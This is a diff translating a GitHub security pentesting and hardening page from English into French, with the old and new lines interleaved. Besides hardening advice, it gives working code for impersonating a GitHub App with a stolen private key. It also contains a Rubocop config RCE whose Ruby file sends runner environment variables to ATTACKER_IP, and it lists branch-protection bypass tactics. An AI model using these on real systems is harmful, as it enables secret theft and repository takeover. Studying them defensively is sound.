> Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose comme `git log -p`, n'oubliez pas qu'il pourrait y avoir **d'autres branches avec d'autres commits** contenant des secrets !
|
||||
|
||||
### External Forks
|
||||
### Forks externes
|
||||
|
||||
It's possible to **compromise repos abusing pull requests**. To know if a repo is vulnerable you mostly need to read the Github Actions yaml configs. [**More info about this below**](#execution-from-a-external-fork).
|
||||
Il est possible de **compromettre des dépôts en abusant des demandes de tirage**. Pour savoir si un dépôt est vulnérable, vous devez principalement lire les configurations yaml des Github Actions. [**Plus d'infos à ce sujet ci-dessous**](#execution-from-a-external-fork).
|
||||
|
||||
### Github Leaks in deleted/internal forks
|
||||
### Fuites Github dans des forks supprimés/internes
|
||||
|
||||
Even if deleted or internal it might be possible to obtain sensitive data from forks of github repositories. Check it here:
|
||||
Même s'ils sont supprimés ou internes, il peut être possible d'obtenir des données sensibles à partir de forks de dépôts github. Vérifiez-le ici :
|
||||
|
||||
{{#ref}}
|
||||
accessible-deleted-data-in-github.md
|
||||
{{#endref}}
|
||||
|
||||
## Organization Hardening
|
||||
## Renforcement de l'organisation
|
||||
|
||||
### Member Privileges
|
||||
### Privilèges des membres
|
||||
|
||||
There are some **default privileges** that can be assigned to **members** of the organization. These can be controlled from the page `https://github.com/organizations/<org_name>/settings/member_privileges` or from the [**Organizations API**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
Il existe certains **privilèges par défaut** qui peuvent être attribués aux **membres** de l'organisation. Ceux-ci peuvent être contrôlés depuis la page `https://github.com/organizations/<org_name>/settings/member_privileges` ou depuis l'[**API des organisations**](https://docs.github.com/en/rest/orgs/orgs).
|
||||
|
||||
- **Base permissions**: Members will have the permission None/Read/write/Admin over the org repositories. Recommended is **None** or **Read**.
|
||||
- **Repository forking**: If not necessary, it's better to **not allow** members to fork organization repositories.
|
||||
- **Pages creation**: If not necessary, it's better to **not allow** members to publish pages from the org repos. If necessary you can allow to create public or private pages.
|
||||
- **Integration access requests**: With this enabled outside collaborators will be able to request access for GitHub or OAuth apps to access this organization and its resources. It's usually needed, but if not, it's better to disable it.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository visibility change**: If enabled, **members** with **admin** permissions for the **repository** will be able to **change its visibility**. If disabled, only organization owners can change repository visibilities. If you **don't** want people to make things **public**, make sure this is **disabled**.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Repository deletion and transfer**: If enabled, members with **admin** permissions for the repository will be able to **delete** or **transfer** public and private **repositories.**
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **Allow members to create teams**: If enabled, any **member** of the organization will be able to **create** new **teams**. If disabled, only organization owners can create new teams. It's better to have this disabled.
|
||||
- _I couldn't find this info in the APIs response, share if you do_
|
||||
- **More things can be configured** in this page but the previous are the ones more security related.
|
||||
- **Permissions de base** : Les membres auront la permission Aucune/Lire/écrire/Admin sur les dépôts de l'organisation. Il est recommandé de choisir **Aucune** ou **Lire**.
|
||||
- **Forking de dépôts** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à forker les dépôts de l'organisation.
|
||||
- **Création de pages** : Si ce n'est pas nécessaire, il est préférable de **ne pas autoriser** les membres à publier des pages à partir des dépôts de l'organisation. Si nécessaire, vous pouvez autoriser la création de pages publiques ou privées.
|
||||
- **Demandes d'accès aux intégrations** : Avec cela activé, les collaborateurs externes pourront demander l'accès aux applications GitHub ou OAuth pour accéder à cette organisation et à ses ressources. C'est généralement nécessaire, mais si ce n'est pas le cas, il est préférable de le désactiver.
|
||||
- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
|
||||
- **Changement de visibilité du dépôt** : Si activé, les **membres** avec des permissions **admin** pour le **dépôt** pourront **changer sa visibilité**. Si désactivé, seuls les propriétaires de l'organisation peuvent changer les visibilités des dépôts. Si vous **ne** voulez pas que les gens rendent les choses **publiques**, assurez-vous que cela est **désactivé**.
|
||||
- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
|
||||
- **Suppression et transfert de dépôts** : Si activé, les membres avec des permissions **admin** pour le dépôt pourront **supprimer** ou **transférer** des **dépôts** publics et privés.
|
||||
- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
|
||||
- **Autoriser les membres à créer des équipes** : Si activé, tout **membre** de l'organisation pourra **créer** de nouvelles **équipes**. Si désactivé, seuls les propriétaires de l'organisation peuvent créer de nouvelles équipes. Il est préférable d'avoir cela désactivé.
|
||||
- _Je n'ai pas trouvé cette info dans la réponse des APIs, partagez si vous le faites_
|
||||
- **D'autres choses peuvent être configurées** sur cette page, mais les précédentes sont celles qui sont les plus liées à la sécurité.
|
||||
|
||||
### Actions Settings
|
||||
### Paramètres des Actions
|
||||
|
||||
Several security related settings can be configured for actions from the page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
Plusieurs paramètres liés à la sécurité peuvent être configurés pour les actions depuis la page `https://github.com/organizations/<org_name>/settings/actions`.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that all this configurations can also be set on each repository independently
|
||||
> Notez que toutes ces configurations peuvent également être définies sur chaque dépôt indépendamment.
|
||||
|
||||
- **Github actions policies**: It allows you to indicate which repositories can tun workflows and which workflows should be allowed. It's recommended to **specify which repositories** should be allowed and not allow all actions to run.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Fork pull request workflows from outside collaborators**: It's recommended to **require approval for all** outside collaborators.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Run workflows from fork pull requests**: It's highly **discouraged to run workflows from pull requests** as maintainers of the fork origin will be given the ability to use tokens with read permissions on the source repository.
|
||||
- _I couldn't find an API with this info, share if you do_
|
||||
- **Workflow permissions**: It's highly recommended to **only give read repository permissions**. It's discouraged to give write and create/approve pull requests permissions to avoid the abuse of the GITHUB_TOKEN given to running workflows.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
- **Politiques des actions Github** : Cela vous permet d'indiquer quels dépôts peuvent exécuter des workflows et quels workflows doivent être autorisés. Il est recommandé de **spécifier quels dépôts** doivent être autorisés et de ne pas permettre à toutes les actions de s'exécuter.
|
||||
- [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
|
||||
- **Workflows de demandes de tirage de forks de collaborateurs externes** : Il est recommandé de **demander une approbation pour tous** les collaborateurs externes.
|
||||
- _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_
|
||||
- **Exécuter des workflows à partir de demandes de tirage de forks** : Il est fortement **déconseillé d'exécuter des workflows à partir de demandes de tirage** car les mainteneurs de l'origine du fork auront la possibilité d'utiliser des tokens avec des permissions de lecture sur le dépôt source.
|
||||
- _Je n'ai pas trouvé d'API avec cette info, partagez si vous le faites_
|
||||
- **Permissions des workflows** : Il est fortement recommandé de **donner uniquement des permissions de lecture sur le dépôt**. Il est déconseillé de donner des permissions d'écriture et de création/d'approbation de demandes de tirage pour éviter l'abus du GITHUB_TOKEN donné aux workflows en cours d'exécution.
|
||||
- [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
|
||||
|
||||
### Integrations
|
||||
### Intégrations
|
||||
|
||||
_Let me know if you know the API endpoint to access this info!_
|
||||
_Faites-moi savoir si vous connaissez le point de terminaison de l'API pour accéder à cette info !_
|
||||
|
||||
- **Third-party application access policy**: It's recommended to restrict the access to every application and allow only the needed ones (after reviewing them).
|
||||
- **Installed GitHub Apps**: It's recommended to only allow the needed ones (after reviewing them).
|
||||
- **Politique d'accès aux applications tierces** : Il est recommandé de restreindre l'accès à chaque application et de n'autoriser que celles nécessaires (après les avoir examinées).
|
||||
- **Applications GitHub installées** : Il est recommandé de n'autoriser que celles nécessaires (après les avoir examinées).
|
||||
|
||||
## Recon & Attacks abusing credentials
|
||||
## Reconnaissance & Attaques abusant des identifiants
|
||||
|
||||
For this scenario we are going to suppose that you have obtained some access to a github account.
|
||||
Pour ce scénario, nous allons supposer que vous avez obtenu un accès à un compte github.
|
||||
|
||||
### With User Credentials
|
||||
### Avec les identifiants de l'utilisateur
|
||||
|
||||
If you somehow already have credentials for a user inside an organization you can **just login** and check which **enterprise and organization roles you have**, if you are a raw member, check which **permissions raw members have**, in which **groups** you are, which **permissions you have** over which **repos,** and **how are the repos protected.**
|
||||
Si vous avez d'une manière ou d'une autre déjà des identifiants pour un utilisateur au sein d'une organisation, vous pouvez **simplement vous connecter** et vérifier quels **rôles d'entreprise et d'organisation vous avez**, si vous êtes un membre ordinaire, vérifiez quels **permissions ont les membres ordinaires**, dans quels **groupes** vous êtes, quelles **permissions vous avez** sur quels **dépôts**, et **comment les dépôts sont protégés**.
|
||||
|
||||
Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
|
||||
Notez que **2FA peut être utilisé**, donc vous ne pourrez accéder à ces informations que si vous pouvez également **passer ce contrôle**.
|
||||
|
||||
> [!NOTE]
|
||||
> Note that if you **manage to steal the `user_session` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
|
||||
> Notez que si vous **parvenez à voler le cookie `user_session`** (actuellement configuré avec SameSite: Lax), vous pouvez **complètement usurper l'identité de l'utilisateur** sans avoir besoin d'identifiants ou de 2FA.
|
||||
|
||||
Check the section below about [**branch protections bypasses**](#branch-protection-bypass) in case it's useful.
|
||||
Consultez la section ci-dessous sur [**les contournements de protections de branches**](#branch-protection-bypass) au cas où cela serait utile.
|
||||
|
||||
### With User SSH Key
|
||||
### Avec la clé SSH de l'utilisateur
|
||||
|
||||
Github allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
|
||||
|
||||
With this key you can perform **changes in repositories where the user has some privileges**, however you can not sue it to access github api to enumerate the environment. However, you can get **enumerate local settings** to get information about the repos and user you have access to:
|
||||
Github permet aux **utilisateurs** de définir des **clés SSH** qui seront utilisées comme **méthode d'authentification pour déployer du code** en leur nom (aucune 2FA n'est appliquée).
|
||||
|
||||
Avec cette clé, vous pouvez effectuer **des modifications dans les dépôts où l'utilisateur a des privilèges**, cependant vous ne pouvez pas l'utiliser pour accéder à l'API github pour énumérer l'environnement. Cependant, vous pouvez **énumérer les paramètres locaux** pour obtenir des informations sur les dépôts et l'utilisateur auquel vous avez accès :
|
||||
```bash
|
||||
# Go to the the repository folder
|
||||
# Get repo config and current user name and email
|
||||
git config --list
|
||||
```
|
||||
Si l'utilisateur a configuré son nom d'utilisateur comme son nom d'utilisateur github, vous pouvez accéder aux **clés publiques qu'il a définies** dans son compte à _https://github.com/\<github_username>.keys_, vous pouvez vérifier cela pour confirmer que la clé privée que vous avez trouvée peut être utilisée.
|
||||
|
||||
If the user has configured its username as his github username you can access the **public keys he has set** in his account in _https://github.com/\<github_username>.keys_, you could check this to confirm the private key you found can be used.
|
||||
Les **clés SSH** peuvent également être définies dans les dépôts en tant que **clés de déploiement**. Quiconque ayant accès à cette clé pourra **lancer des projets à partir d'un dépôt**. En général, sur un serveur avec différentes clés de déploiement, le fichier local **`~/.ssh/config`** vous donnera des informations sur la clé à laquelle il est lié.
|
||||
|
||||
**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
|
||||
#### Clés GPG
|
||||
|
||||
#### GPG Keys
|
||||
|
||||
As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
|
||||
|
||||
Check locally if the current user has any key with:
|
||||
Comme expliqué [**ici**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/github-security/broken-reference/README.md), il est parfois nécessaire de signer les commits sinon vous pourriez être découvert.
|
||||
|
||||
Vérifiez localement si l'utilisateur actuel a une clé avec :
|
||||
```shell
|
||||
gpg --list-secret-keys --keyid-format=long
|
||||
```
|
||||
### Avec le Token Utilisateur
|
||||
|
||||
### With User Token
|
||||
Pour une introduction sur [**les Tokens Utilisateurs, consultez les informations de base**](basic-github-information.md#personal-access-tokens).
|
||||
|
||||
For an introduction about [**User Tokens check the basic information**](basic-github-information.md#personal-access-tokens).
|
||||
Un token utilisateur peut être utilisé **au lieu d'un mot de passe** pour Git via HTTPS, ou peut être utilisé pour [**s'authentifier à l'API via l'authentification de base**](https://docs.github.com/v3/auth/#basic-authentication). Selon les privilèges qui y sont attachés, vous pourriez être en mesure d'effectuer différentes actions.
|
||||
|
||||
A user token can be used **instead of a password** for Git over HTTPS, or can be used to [**authenticate to the API over Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). Depending on the privileges attached to it you might be able to perform different actions.
|
||||
Un token utilisateur ressemble à ceci : `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
|
||||
A User token looks like this: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
|
||||
### Avec l'Application Oauth
|
||||
|
||||
### With Oauth Application
|
||||
Pour une introduction sur [**les Applications Oauth de Github, consultez les informations de base**](basic-github-information.md#oauth-applications).
|
||||
|
||||
For an introduction about [**Github Oauth Applications check the basic information**](basic-github-information.md#oauth-applications).
|
||||
Un attaquant pourrait créer une **Application Oauth malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
|
||||
|
||||
An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
Voici les [portées qu'une application Oauth peut demander](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). Un utilisateur doit toujours vérifier les portées demandées avant de les accepter.
|
||||
|
||||
These are the [scopes an Oauth application can request](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps). A should always check the scopes requested before accepting them.
|
||||
De plus, comme expliqué dans les informations de base, **les organisations peuvent donner/refuser l'accès aux applications tierces** aux informations/repos/actions liées à l'organisation.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
### Avec l'Application Github
|
||||
|
||||
### With Github Application
|
||||
Pour une introduction sur [**les Applications Github, consultez les informations de base**](basic-github-information.md#github-applications).
|
||||
|
||||
For an introduction about [**Github Applications check the basic information**](basic-github-information.md#github-applications).
|
||||
Un attaquant pourrait créer une **Application Github malveillante** pour accéder aux données/actions privilégiées des utilisateurs qui les acceptent probablement dans le cadre d'une campagne de phishing.
|
||||
|
||||
An attacker might create a **malicious Github Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
|
||||
De plus, comme expliqué dans les informations de base, **les organisations peuvent donner/refuser l'accès aux applications tierces** aux informations/repos/actions liées à l'organisation.
|
||||
|
||||
Moreover, as explained in the basic information, **organizations can give/deny access to third party applications** to information/repos/actions related with the organisation.
|
||||
#### Usurper une Application GitHub avec sa clé privée (JWT → tokens d'accès d'installation)
|
||||
|
||||
#### Impersonate a GitHub App with its private key (JWT → installation access tokens)
|
||||
Si vous obtenez la clé privée (PEM) d'une Application GitHub, vous pouvez entièrement usurper l'application à travers toutes ses installations :
|
||||
|
||||
If you obtain the private key (PEM) of a GitHub App, you can fully impersonate the app across all of its installations:
|
||||
- Générer un JWT à courte durée de vie signé avec la clé privée
|
||||
- Appeler l'API REST de l'Application GitHub pour énumérer les installations
|
||||
- Créer des tokens d'accès par installation et les utiliser pour lister/cloner/pousser vers les dépôts accordés à cette installation
|
||||
|
||||
- Generate a short‑lived JWT signed with the private key
|
||||
- Call the GitHub App REST API to enumerate installations
|
||||
- Mint per‑installation access tokens and use them to list/clone/push to repositories granted to that installation
|
||||
|
||||
Requirements:
|
||||
- GitHub App private key (PEM)
|
||||
- GitHub App ID (numeric). GitHub requires iss to be the App ID
|
||||
|
||||
Create JWT (RS256):
|
||||
Exigences :
|
||||
- Clé privée de l'Application GitHub (PEM)
|
||||
- ID de l'Application GitHub (numérique). GitHub exige que iss soit l'ID de l'application
|
||||
|
||||
Créer JWT (RS256) :
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {
|
||||
"iat": now - 60,
|
||||
"exp": now + 600 - 60, # ≤10 minutes
|
||||
"iss": APP_ID,
|
||||
}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
```
|
||||
|
||||
List installations for the authenticated app:
|
||||
|
||||
Liste des installations pour l'application authentifiée :
|
||||
```bash
|
||||
JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)
|
||||
|
||||
curl -sS -H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations
|
||||
```
|
||||
|
||||
Create an installation access token (valid ≤ 10 minutes):
|
||||
|
||||
Créer un jeton d'accès d'installation (valide ≤ 10 minutes) :
|
||||
```bash
|
||||
INSTALL_ID=12345678
|
||||
curl -sS -X POST \
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
-H "Authorization: Bearer $JWT" \
|
||||
-H "Accept: application/vnd.github+json" \
|
||||
-H "X-GitHub-Api-Version: 2022-11-28" \
|
||||
https://api.github.com/app/installations/$INSTALL_ID/access_tokens
|
||||
```
|
||||
|
||||
Use the token to access code. You can clone or push using the x‑access‑token URL form:
|
||||
|
||||
Utilisez le token pour accéder au code. Vous pouvez cloner ou pousser en utilisant la forme d'URL x‑access‑token :
|
||||
```bash
|
||||
TOKEN=ghs_...
|
||||
REPO=owner/name
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
|
||||
# push works if the app has contents:write on that repository
|
||||
```
|
||||
|
||||
Programmatic PoC to target a specific org and list private repos (PyGithub + PyJWT):
|
||||
|
||||
PoC programmatique pour cibler une organisation spécifique et lister les dépôts privés (PyGithub + PyJWT) :
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import time, jwt, requests
|
||||
from github import Auth, GithubIntegration
|
||||
|
||||
with open("priv.pem", "r") as f:
|
||||
signing_key = f.read()
|
||||
signing_key = f.read()
|
||||
|
||||
APP_ID = "123456" # GitHub App ID (numeric)
|
||||
ORG = "someorg"
|
||||
|
||||
def gen_jwt():
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
now = int(time.time())
|
||||
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
|
||||
return jwt.encode(payload, signing_key, algorithm="RS256")
|
||||
|
||||
auth = Auth.AppAuth(APP_ID, signing_key)
|
||||
GI = GithubIntegration(auth=auth)
|
||||
@@ -253,57 +240,53 @@ print(f"Installation ID: {installation.id}")
|
||||
|
||||
jwt_tok = gen_jwt()
|
||||
r = requests.post(
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
|
||||
headers={
|
||||
"Accept": "application/vnd.github+json",
|
||||
"Authorization": f"Bearer {jwt_tok}",
|
||||
"X-GitHub-Api-Version": "2022-11-28",
|
||||
},
|
||||
)
|
||||
access_token = r.json()["token"]
|
||||
|
||||
print("--- repos ---")
|
||||
for repo in installation.get_repos():
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
print(f"* {repo.full_name} (private={repo.private})")
|
||||
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
|
||||
print(clone_url)
|
||||
```
|
||||
Notes :
|
||||
- Les tokens d'installation héritent exactement des permissions au niveau du dépôt de l'application (par exemple, contents: write, pull_requests: write)
|
||||
- Les tokens expirent en ≤10 minutes, mais de nouveaux tokens peuvent être créés indéfiniment tant que vous conservez la clé privée
|
||||
- Vous pouvez également énumérer les installations via l'API REST (GET /app/installations) en utilisant le JWT
|
||||
|
||||
Notes:
|
||||
- Installation tokens inherit exactly the app’s repository‑level permissions (for example, contents: write, pull_requests: write)
|
||||
- Tokens expire in ≤10 minutes, but new tokens can be minted indefinitely as long as you retain the private key
|
||||
- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
|
||||
## Compromission & Abus de Github Action
|
||||
|
||||
## Compromise & Abuse Github Action
|
||||
|
||||
There are several techniques to compromise and abuse a Github Action, check them here:
|
||||
Il existe plusieurs techniques pour compromettre et abuser d'une Github Action, consultez-les ici :
|
||||
|
||||
{{#ref}}
|
||||
abusing-github-actions/
|
||||
{{#endref}}
|
||||
|
||||
## Abusing third‑party GitHub Apps running external tools (Rubocop extension RCE)
|
||||
## Abus des applications GitHub tierces exécutant des outils externes (RCE de l'extension Rubocop)
|
||||
|
||||
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repository‑controlled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the service’s runner.
|
||||
Certaines applications GitHub et services de révision de PR exécutent des linters/SAST externes contre des pull requests en utilisant des fichiers de configuration contrôlés par le dépôt. Si un outil pris en charge permet le chargement dynamique de code, une PR peut atteindre RCE sur le runner du service.
|
||||
|
||||
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repo‑provided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
|
||||
Exemple : Rubocop prend en charge le chargement d'extensions à partir de sa configuration YAML. Si le service passe un .rubocop.yml fourni par le dépôt, vous pouvez exécuter du Ruby arbitraire en exigeant un fichier local.
|
||||
|
||||
- Trigger conditions usually include:
|
||||
- The tool is enabled in the service
|
||||
- The PR contains files the tool recognizes (for Rubocop: .rb)
|
||||
- The repo contains the tool’s config file (Rubocop searches for .rubocop.yml anywhere)
|
||||
- Les conditions de déclenchement incluent généralement :
|
||||
- L'outil est activé dans le service
|
||||
- La PR contient des fichiers que l'outil reconnaît (pour Rubocop : .rb)
|
||||
- Le dépôt contient le fichier de configuration de l'outil (Rubocop recherche .rubocop.yml partout)
|
||||
|
||||
Exploit files in the PR:
|
||||
Fichiers d'exploitation dans la PR :
|
||||
|
||||
.rubocop.yml
|
||||
|
||||
```yaml
|
||||
require:
|
||||
- ./ext.rb
|
||||
- ./ext.rb
|
||||
```
|
||||
|
||||
ext.rb (exfiltrate runner env vars):
|
||||
|
||||
ext.rb (exfiltrer les variables d'environnement du runner) :
|
||||
```ruby
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
@@ -314,99 +297,92 @@ json_data = env_vars.to_json
|
||||
url = URI.parse('http://ATTACKER_IP/')
|
||||
|
||||
begin
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
http = Net::HTTP.new(url.host, url.port)
|
||||
req = Net::HTTP::Post.new(url.path)
|
||||
req['Content-Type'] = 'application/json'
|
||||
req.body = json_data
|
||||
http.request(req)
|
||||
rescue StandardError => e
|
||||
warn e.message
|
||||
warn e.message
|
||||
end
|
||||
```
|
||||
Aussi inclure un fichier Ruby fictif suffisamment grand (par exemple, main.rb) afin que le linter puisse réellement s'exécuter.
|
||||
|
||||
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
|
||||
Impact observé dans la nature :
|
||||
- Exécution complète du code sur le runner de production qui a exécuté le linter
|
||||
- Exfiltration de variables d'environnement sensibles, y compris la clé privée de l'application GitHub utilisée par le service, les clés API, les identifiants de base de données, etc.
|
||||
- Avec une clé privée d'application GitHub divulguée, vous pouvez créer des jetons d'installation et obtenir un accès en lecture/écriture à tous les dépôts accordés à cette application (voir la section ci-dessus sur l'usurpation d'identité d'application GitHub)
|
||||
|
||||
Impact observed in the wild:
|
||||
- Full code execution on the production runner that executed the linter
|
||||
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
|
||||
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
|
||||
Directives de renforcement pour les services exécutant des outils externes :
|
||||
- Traitez les configurations d'outils fournies par le dépôt comme du code non fiable
|
||||
- Exécutez les outils dans des environnements isolés de manière stricte sans variables d'environnement sensibles montées
|
||||
- Appliquez des identifiants à privilèges minimaux et une isolation du système de fichiers, et restreignez/refusez l'accès sortant au réseau pour les outils qui ne nécessitent pas d'accès Internet
|
||||
|
||||
Hardening guidelines for services running external tools:
|
||||
- Treat repository‑provided tool configs as untrusted code
|
||||
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
|
||||
- Apply least‑privilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that don’t require internet access
|
||||
## Contournement de la protection des branches
|
||||
|
||||
## Branch Protection Bypass
|
||||
- **Exiger un certain nombre d'approbations** : Si vous avez compromis plusieurs comptes, vous pourriez simplement accepter vos PR d'autres comptes. Si vous n'avez que le compte à partir duquel vous avez créé la PR, vous ne pouvez pas accepter votre propre PR. Cependant, si vous avez accès à un environnement **Github Action** à l'intérieur du dépôt, en utilisant le **GITHUB_TOKEN**, vous pourriez être en mesure d'**approuver votre PR** et d'obtenir 1 approbation de cette manière.
|
||||
- _Remarque pour cela et pour la restriction des propriétaires de code que généralement un utilisateur ne pourra pas approuver ses propres PR, mais si vous le pouvez, vous pouvez en abuser pour accepter vos PR._
|
||||
- **Rejeter les approbations lorsque de nouveaux commits sont poussés** : Si cela n'est pas défini, vous pouvez soumettre du code légitime, attendre qu'il soit approuvé, puis mettre du code malveillant et le fusionner dans la branche protégée.
|
||||
- **Exiger des revues des propriétaires de code** : Si cela est activé et que vous êtes un propriétaire de code, vous pourriez faire en sorte qu'une **Github Action crée votre PR et que vous l'approuviez vous-même**.
|
||||
- Lorsqu'un **fichier CODEOWNER est mal configuré**, GitHub ne se plaint pas mais ne l'utilise pas. Par conséquent, s'il est mal configuré, la **protection des propriétaires de code n'est pas appliquée.**
|
||||
- **Autoriser des acteurs spécifiés à contourner les exigences de demande de tirage** : Si vous êtes l'un de ces acteurs, vous pouvez contourner les protections de demande de tirage.
|
||||
- **Inclure les administrateurs** : Si cela n'est pas défini et que vous êtes administrateur du dépôt, vous pouvez contourner ces protections de branche.
|
||||
- **Détournement de PR** : Vous pourriez être en mesure de **modifier la PR de quelqu'un d'autre** en ajoutant du code malveillant, en approuvant la PR résultante vous-même et en fusionnant le tout.
|
||||
- **Suppression des protections de branche** : Si vous êtes un **administrateur du dépôt, vous pouvez désactiver les protections**, fusionner votre PR et rétablir les protections.
|
||||
- **Contourner les protections de poussée** : Si un dépôt **n'autorise que certains utilisateurs** à envoyer des poussées (fusionner du code) dans des branches (la protection de branche pourrait protéger toutes les branches en spécifiant le caractère générique `*`).
|
||||
- Si vous avez **un accès en écriture sur le dépôt mais que vous n'êtes pas autorisé à pousser du code** en raison de la protection de branche, vous pouvez toujours **créer une nouvelle branche** et à l'intérieur, créer une **action GitHub qui est déclenchée lorsque du code est poussé**. Comme la **protection de branche ne protégera pas la branche tant qu'elle n'est pas créée**, ce premier envoi de code vers la branche **exécutera l'action GitHub**.
|
||||
|
||||
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
|
||||
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
|
||||
- **Dismiss approvals when new commits are pushed**: If this isn’t set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
|
||||
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
|
||||
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
|
||||
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
|
||||
- **Include administrators**: If this isn’t set and you are admin of the repo, you can bypass this branch protections.
|
||||
